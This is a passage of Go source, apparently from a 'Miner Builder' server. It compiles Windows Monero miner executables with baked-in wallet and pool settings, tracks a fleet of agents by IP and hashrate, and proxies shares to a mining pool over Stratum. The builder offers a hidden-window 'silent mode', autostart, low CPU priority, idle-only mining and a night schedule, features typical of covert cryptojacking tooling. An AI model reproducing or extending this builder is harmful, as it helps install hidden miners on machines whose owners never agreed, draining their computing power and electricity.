writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
resp, status, outputPath := h.buildAgent(&req)
if !resp.Success {
writeJSON(w, status, resp)
return
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
http.ServeFile(w, r, outputPath)
return
}
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
if _, err := os.Stat(build.FilePath); err != nil {
http.Error(w, "Build file missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
outputName := fmt.Sprintf("xmr-worker-%s.exe", sanitizeFileName(req.WorkerName))
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w"
if req.SilentMode {
ldflags += " -H windowsgui"
}
cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = agentDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
output, err := cmd.CombinedOutput()
if err != nil {
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
}
fileInfo, err := os.Stat(outputPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
absPath, _ := filepath.Abs(outputPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
FilePath: absPath,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: outputName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
}, http.StatusOK, outputPath
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
}
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if req.Threads <= 0 {
req.Threads = 4
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
}
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.RunAs == "" {
req.RunAs = "user"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
}
if req.IdleDurationMinutes <= 0 {
req.IdleDurationMinutes = 5
}
if req.ScheduleStart == "" {
req.ScheduleStart = "21:00"
}
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
if req.PoolPort <= 0 {
req.PoolPort = 3333
}
if req.PoolPass == "" {
req.PoolPass = "x"
}
return nil
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: %d,
CPUPriority: %q,
MiningMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: %q,
PoolPort: %d,
PoolTLS: %v,
PoolPass: %q,
MaxCPUUsage: %d,
MinFreeRAM: %d,
IdleThresholdPct: %d,
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
req.Wallet,
req.Threads,
req.CPUPriority,
req.MiningMode,
req.SilentMode,
req.RunAs,
req.AutoStart,
buildID,
time.Now().Unix(),
req.PoolHost,
req.PoolPort,
req.PoolTLS,
req.PoolPass,
req.MaxCPUUsagePct,
req.MinFreeRAMMB,
req.IdleThresholdPct,
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
)
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
relPath, err := filepath.Rel(srcDir, path)
if err != nil {
return err
}
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
return nil
}
destPath := filepath.Join(destDir, relPath)
if info.IsDir() {
return os.MkdirAll(destPath, 0755)
}
if info.Mode()&os.ModeSymlink != 0 {
return nil
}
ext := filepath.Ext(path)
base := filepath.Base(path)
if ext != ".go" && base != "go.mod" && base != "go.sum" {
return nil
}
return copyFile(path, destPath)
})
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return replacer.Replace(name)
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(v)
}

View File

@@ -0,0 +1,342 @@
package db
import (
"database/sql"
"fmt"
"os"
"path/filepath"
"time"
_ "modernc.org/sqlite"
"crypto-miner-server/internal/models"
)
type Database struct {
*sql.DB
}
func New(dataDir string) (*Database, error) {
dbPath := filepath.Join(dataDir, "miner.db")
// Ensure directory exists
os.MkdirAll(filepath.Dir(dbPath), 0755)
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
if err != nil {
return nil, fmt.Errorf("failed to open database: %w", err)
}
d := &Database{db}
if err := d.migrate(); err != nil {
return nil, fmt.Errorf("failed to migrate database: %w", err)
}
return d, nil
}
func (d *Database) migrate() error {
migrations := []string{
`CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
wallet TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
version TEXT NOT NULL DEFAULT '',
status TEXT NOT NULL DEFAULT 'offline',
cpu_cores INTEGER NOT NULL DEFAULT 0,
memory_gb INTEGER NOT NULL DEFAULT 0,
last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
hashrate_15s REAL NOT NULL DEFAULT 0,
hashrate_1m REAL NOT NULL DEFAULT 0,
hashrate_15m REAL NOT NULL DEFAULT 0,
shares_total INTEGER NOT NULL DEFAULT 0,
shares_good INTEGER NOT NULL DEFAULT 0,
shares_bad INTEGER NOT NULL DEFAULT 0,
cpu_usage_pct REAL NOT NULL DEFAULT 0,
memory_usage_pct REAL NOT NULL DEFAULT 0,
uptime_seconds INTEGER NOT NULL DEFAULT 0
)`,
`CREATE TABLE IF NOT EXISTS shares (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
job_id TEXT NOT NULL,
difficulty INTEGER NOT NULL DEFAULT 0,
accepted INTEGER NOT NULL DEFAULT 0,
hash TEXT NOT NULL DEFAULT '',
nonce TEXT NOT NULL DEFAULT '',
error TEXT NOT NULL DEFAULT '',
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS hashrate_samples (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
hashrate REAL NOT NULL DEFAULT 0,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS jobs (
id TEXT PRIMARY KEY,
height INTEGER NOT NULL DEFAULT 0,
difficulty INTEGER NOT NULL DEFAULT 0,
block_template TEXT NOT NULL DEFAULT '',
seed_hash TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS builds (
id TEXT PRIMARY KEY,
worker_name TEXT NOT NULL,
server_url TEXT NOT NULL,
wallet TEXT NOT NULL,
threads INTEGER NOT NULL DEFAULT 0,
file_size INTEGER NOT NULL DEFAULT 0,
file_path TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
pool_host TEXT NOT NULL DEFAULT '',
pool_port INTEGER NOT NULL DEFAULT 0,
pool_tls INTEGER NOT NULL DEFAULT 0,
pool_pass TEXT NOT NULL DEFAULT ''
)`,
`CREATE INDEX IF NOT EXISTS idx_shares_agent ON shares(agent_id)`,
`CREATE INDEX IF NOT EXISTS idx_shares_timestamp ON shares(timestamp)`,
`CREATE INDEX IF NOT EXISTS idx_hashrate_agent ON hashrate_samples(agent_id)`,
`CREATE INDEX IF NOT EXISTS idx_hashrate_timestamp ON hashrate_samples(timestamp)`,
}
for _, m := range migrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
// Best-effort schema upgrades for existing databases.
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
return nil
}
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
ip = excluded.ip,
version = excluded.version,
status = excluded.status,
cpu_cores = excluded.cpu_cores,
memory_gb = excluded.memory_gb,
last_seen = excluded.last_seen`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
return err
}
func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate15m float64, sharesTotal, sharesGood, sharesBad int, cpuPct, memPct float64, uptime int) error {
query := `UPDATE agents SET
hashrate_15s = ?, hashrate_1m = ?, hashrate_15m = ?,
shares_total = ?, shares_good = ?, shares_bad = ?,
cpu_usage_pct = ?, memory_usage_pct = ?, uptime_seconds = ?,
last_seen = CURRENT_TIMESTAMP, status = 'online'
WHERE id = ?`
_, err := d.Exec(query, hashrate15s, hashrate1m, hashrate15m, sharesTotal, sharesGood, sharesBad, cpuPct, memPct, uptime, id)
return err
}
func (d *Database) SetAgentOffline(id string) error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
return err
}
func (d *Database) GetAgent(id string) (*models.Agent, error) {
a := &models.Agent{}
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
FROM agents WHERE id = ?`
err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds)
if err != nil {
return nil, err
}
return a, nil
}
func (d *Database) ListAgents() ([]*models.Agent, error) {
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
FROM agents ORDER BY last_seen DESC`
rows, err := d.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var agents []*models.Agent
for rows.Next() {
a := &models.Agent{}
if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil {
return nil, err
}
agents = append(agents, a)
}
return agents, nil
}
// Share operations
func (d *Database) InsertShare(s *models.Share) error {
query := `INSERT INTO shares (agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
_, err := d.Exec(query, s.AgentID, s.JobID, s.Difficulty, boolToInt(s.Accepted), s.Hash, s.Nonce, s.Error, s.Timestamp)
return err
}
func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
query := `SELECT id, agent_id, job_id, difficulty, accepted, hash, nonce, error, timestamp FROM shares ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var shares []*models.Share
for rows.Next() {
s := &models.Share{}
var accepted int
if err := rows.Scan(&s.ID, &s.AgentID, &s.JobID, &s.Difficulty, &accepted, &s.Hash, &s.Nonce, &s.Error, &s.Timestamp); err != nil {
return nil, err
}
s.Accepted = accepted == 1
shares = append(shares, s)
}
return shares, nil
}
// Hashrate operations
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
return err
}
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, agentID, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var samples []*models.HashrateSample
for rows.Next() {
s := &models.HashrateSample{}
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
return nil, err
}
samples = append(samples, s)
}
return samples, nil
}
// Build operations
func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err
}
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
if err != nil {
return nil, err
}
return b, nil
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
rows, err := d.Query(query, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var builds []*models.BuildRecord
for rows.Next() {
b := &models.BuildRecord{}
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
return nil, err
}
builds = append(builds, b)
}
return builds, nil
}
// Stats
type FleetStats struct {
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
}
func (d *Database) GetFleetStats() (*FleetStats, error) {
stats := &FleetStats{}
err := d.QueryRow("SELECT COUNT(*) FROM agents").Scan(&stats.TotalAgents)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&stats.OnlineAgents)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_good), 0) FROM agents").Scan(&stats.AcceptedShares)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_bad), 0) FROM agents").Scan(&stats.RejectedShares)
if err != nil {
return nil, err
}
if stats.TotalShares > 0 {
stats.AcceptRate = float64(stats.AcceptedShares) / float64(stats.TotalShares) * 100
}
return stats, nil
}
func boolToInt(b bool) int {
if b {
return 1
}
return 0
}

View File

@@ -0,0 +1,72 @@
package models
import "time"
type Agent struct {
ID string `json:"id"`
Name string `json:"name"`
Wallet string `json:"wallet"`
IP string `json:"ip"`
Version string `json:"version"`
Status string `json:"status"` // online, offline, error
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
LastSeen time.Time `json:"last_seen"`
CreatedAt time.Time `json:"created_at"`
// Runtime stats (updated via heartbeat)
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesTotal int `json:"shares_total"`
SharesGood int `json:"shares_good"`
SharesBad int `json:"shares_bad"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
type Share struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
JobID string `json:"job_id"`
Difficulty int64 `json:"difficulty"`
Accepted bool `json:"accepted"`
Hash string `json:"hash"`
Nonce string `json:"nonce"`
Error string `json:"error,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {
ID string `json:"id"`
Height int64 `json:"height"`
Difficulty int64 `json:"difficulty"`
BlockTemplate string `json:"block_template"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
CreatedAt time.Time `json:"created_at"`
}
type BuildRecord struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
FilePath string `json:"file_path"`
CreatedAt time.Time `json:"created_at"`
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}

View File

@@ -0,0 +1,630 @@
package pool
import (
"bufio"
"crypto/tls"
"encoding/binary"
"encoding/hex"
"encoding/json"
"fmt"
"log"
"math/big"
"net"
"strings"
"sync"
"time"
"crypto-miner-server/internal/models"
)
// Stratum protocol message types
type StratumRequest struct {
ID int `json:"id"`
Method string `json:"method"`
Params json.RawMessage `json:"params"`
}
type StratumResponse struct {
ID int `json:"id"`
Result json.RawMessage `json:"result"`
Error interface{} `json:"error"`
}
type StratumNotification struct {
Method string `json:"method"`
Params json.RawMessage `json:"params"`
}
// Job represents a mining job from the pool
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
// ShareSubmit represents a share submission to the pool
type ShareSubmit struct {
ID int `json:"id"`
Method string `json:"method"`
Params []string `json:"params"`
}
// Proxy connects to a Monero mining pool via Stratum protocol
// and acts as a bridge between the pool and our agents
type Proxy struct {
mu sync.RWMutex
config *Config
conn net.Conn
reader *bufio.Reader
connected bool
requestID int
currentJob *Job
jobSubscribed bool
stopCh chan struct{}
wg sync.WaitGroup
// Callbacks
onJob func(job *Job)
onShare func(accepted bool, agentID string, jobID string)
onError func(err error)
// Agent share submissions queue
shareQueue chan *PendingShare
}
type PendingShare struct {
AgentID string
JobID string
Nonce string
Hash string
}
type Config struct {
Host string
Port int
UseTLS bool
Wallet string
Password string
}
func NewProxy(cfg *Config) *Proxy {
return &Proxy{
config: cfg,
stopCh: make(chan struct{}),
shareQueue: make(chan *PendingShare, 100),
}
}
// SetCallbacks sets the callbacks for job updates and share results
func (p *Proxy) SetCallbacks(onJob func(job *Job), onShare func(accepted bool, agentID string, jobID string), onError func(err error)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onJob = onJob
p.onShare = onShare
p.onError = onError
}
// Start connects to the pool and begins processing
func (p *Proxy) Start() error {
addr := fmt.Sprintf("%s:%d", p.config.Host, p.config.Port)
log.Printf("[Pool] Connecting to %s (TLS: %v)...", addr, p.config.UseTLS)
var conn net.Conn
var err error
if p.config.UseTLS {
netDialer := &net.Dialer{Timeout: 30 * time.Second}
tlsConn, tlsErr := tls.DialWithDialer(netDialer, "tcp", addr, &tls.Config{})
conn = tlsConn
err = tlsErr
} else {
dialer := net.Dialer{Timeout: 30 * time.Second}
conn, err = dialer.Dial("tcp", addr)
}
if err != nil {
return fmt.Errorf("failed to connect to pool: %w", err)
}
p.mu.Lock()
p.conn = conn
p.reader = bufio.NewReader(conn)
p.connected = true
p.mu.Unlock()
log.Printf("[Pool] Connected to %s", addr)
// Start reader goroutine
p.wg.Add(1)
go p.readLoop()
// Start share submission goroutine
p.wg.Add(1)
go p.shareSubmitLoop()
// Authenticate with the pool
if err := p.authenticate(); err != nil {
return fmt.Errorf("failed to authenticate with pool: %w", err)
}
return nil
}
// Stop disconnects from the pool
func (p *Proxy) Stop() {
close(p.stopCh)
p.mu.Lock()
if p.conn != nil {
p.conn.Close()
p.connected = false
}
p.mu.Unlock()
p.wg.Wait()
log.Println("[Pool] Disconnected from pool")
}
// IsConnected returns whether the proxy is connected to the pool
func (p *Proxy) IsConnected() bool {
p.mu.RLock()
defer p.mu.RUnlock()
return p.connected
}
// GetCurrentJob returns the current mining job
func (p *Proxy) GetCurrentJob() *Job {
p.mu.RLock()
defer p.mu.RUnlock()
if p.currentJob == nil {
return nil
}
jobCopy := *p.currentJob
return &jobCopy
}
// SubmitShare queues a share for submission to the pool
func (p *Proxy) SubmitShare(agentID, jobID, nonce, hash string) {
p.shareQueue <- &PendingShare{
AgentID: agentID,
JobID: jobID,
Nonce: nonce,
Hash: hash,
}
}
func (p *Proxy) authenticate() error {
p.requestID++
// Login request
loginParams := []interface{}{
p.config.Wallet,
p.config.Password,
"crypto-miner-server/1.0",
}
paramsData, _ := json.Marshal(loginParams)
loginReq := StratumRequest{
ID: p.requestID,
Method: "login",
Params: paramsData,
}
data, _ := json.Marshal(loginReq)
log.Printf("[Pool] Sending login request...")
if err := p.writeLine(data); err != nil {
return fmt.Errorf("failed to send login: %w", err)
}
return nil
}
func (p *Proxy) readLoop() {
defer p.wg.Done()
for {
select {
case <-p.stopCh:
return
default:
}
p.mu.RLock()
reader := p.reader
p.mu.RUnlock()
if reader == nil {
time.Sleep(100 * time.Millisecond)
continue
}
line, err := reader.ReadString('\n')
if err != nil {
log.Printf("[Pool] Read error: %v", err)
p.mu.Lock()
p.connected = false
p.mu.Unlock()
if p.onError != nil {
p.onError(fmt.Errorf("pool connection lost: %w", err))
}
// Attempt reconnect after delay
time.Sleep(10 * time.Second)
go p.reconnect()
return
}
line = strings.TrimSpace(line)
if line == "" {
continue
}
p.handleMessage([]byte(line))
}
}
func (p *Proxy) handleMessage(data []byte) {
// Try to parse as response first
var resp StratumResponse
if err := json.Unmarshal(data, &resp); err == nil && resp.ID > 0 {
p.handleResponse(resp)
return
}
// Try to parse as notification
var notif StratumNotification
if err := json.Unmarshal(data, &notif); err == nil && notif.Method != "" {
p.handleNotification(notif)
return
}
log.Printf("[Pool] Unhandled message: %s", string(data))
}
func (p *Proxy) handleResponse(resp StratumResponse) {
log.Printf("[Pool] Response ID=%d: %s", resp.ID, string(resp.Result))
if resp.ID == 1 {
// Login response
var loginResult struct {
ID string `json:"id"`
Job json.RawMessage `json:"job"`
Status string `json:"status"`
}
if err := json.Unmarshal(resp.Result, &loginResult); err != nil {
log.Printf("[Pool] Failed to parse login result: %v", err)
return
}
log.Printf("[Pool] Login successful! Pool ID: %s, Status: %s", loginResult.ID, loginResult.Status)
// Parse initial job if provided
if len(loginResult.Job) > 0 {
p.parseAndSetJob(loginResult.Job)
}
// Subscribe for jobs
p.subscribe()
}
}
func (p *Proxy) handleNotification(notif StratumNotification) {
switch notif.Method {
case "job":
log.Printf("[Pool] New job received")
p.parseAndSetJob(notif.Params)
case "submit":
// Share submission result
var submitResult struct {
ID int `json:"id"`
Result string `json:"result"`
Status string `json:"status"`
}
if err := json.Unmarshal(notif.Params, &submitResult); err != nil {
log.Printf("[Pool] Failed to parse submit result: %v", err)
return
}
log.Printf("[Pool] Share submission result: %s", submitResult.Status)
default:
log.Printf("[Pool] Unknown notification method: %s", notif.Method)
}
}
func (p *Proxy) parseAndSetJob(data json.RawMessage) {
var rawJob struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
// Try different field name variations that pools use
if err := json.Unmarshal(data, &rawJob); err != nil {
// Try flat params
var flatParams []json.RawMessage
if err2 := json.Unmarshal(data, &flatParams); err2 == nil && len(flatParams) >= 1 {
json.Unmarshal(flatParams[0], &rawJob)
} else {
// Try as array of params
var params [][]json.RawMessage
if err3 := json.Unmarshal(data, &params); err3 == nil && len(params) >= 1 && len(params[0]) >= 1 {
json.Unmarshal(params[0][0], &rawJob)
} else {
log.Printf("[Pool] Failed to parse job: %s", string(data))
return
}
}
}
job := &Job{
ID: rawJob.ID,
Height: rawJob.Height,
BlockTemplate: rawJob.BlockTemplate,
Difficulty: rawJob.Difficulty,
SeedHash: rawJob.SeedHash,
Target: rawJob.Target,
Blob: rawJob.Blob,
Algo: rawJob.Algo,
}
// Calculate target from difficulty if not provided
if job.Target == "" && job.Difficulty > 0 {
job.Target = p.difficultyToTarget(job.Difficulty)
}
p.mu.Lock()
p.currentJob = job
p.mu.Unlock()
log.Printf("[Pool] New job: ID=%s, Height=%d, Difficulty=%d, Algo=%s",
job.ID, job.Height, job.Difficulty, job.Algo)
if p.onJob != nil {
p.onJob(job)
}
}
func (p *Proxy) subscribe() {
p.requestID++
subParams := []string{}
paramsData, _ := json.Marshal(subParams)
subReq := StratumRequest{
ID: p.requestID,
Method: "subscribe",
Params: paramsData,
}
data, _ := json.Marshal(subReq)
log.Printf("[Pool] Subscribing for jobs...")
if err := p.writeLine(data); err != nil {
log.Printf("[Pool] Failed to subscribe: %v", err)
}
}
func (p *Proxy) shareSubmitLoop() {
defer p.wg.Done()
for {
select {
case <-p.stopCh:
return
case share := <-p.shareQueue:
p.submitShareToPool(share)
}
}
}
func (p *Proxy) submitShareToPool(share *PendingShare) {
p.mu.RLock()
connected := p.connected
p.mu.RUnlock()
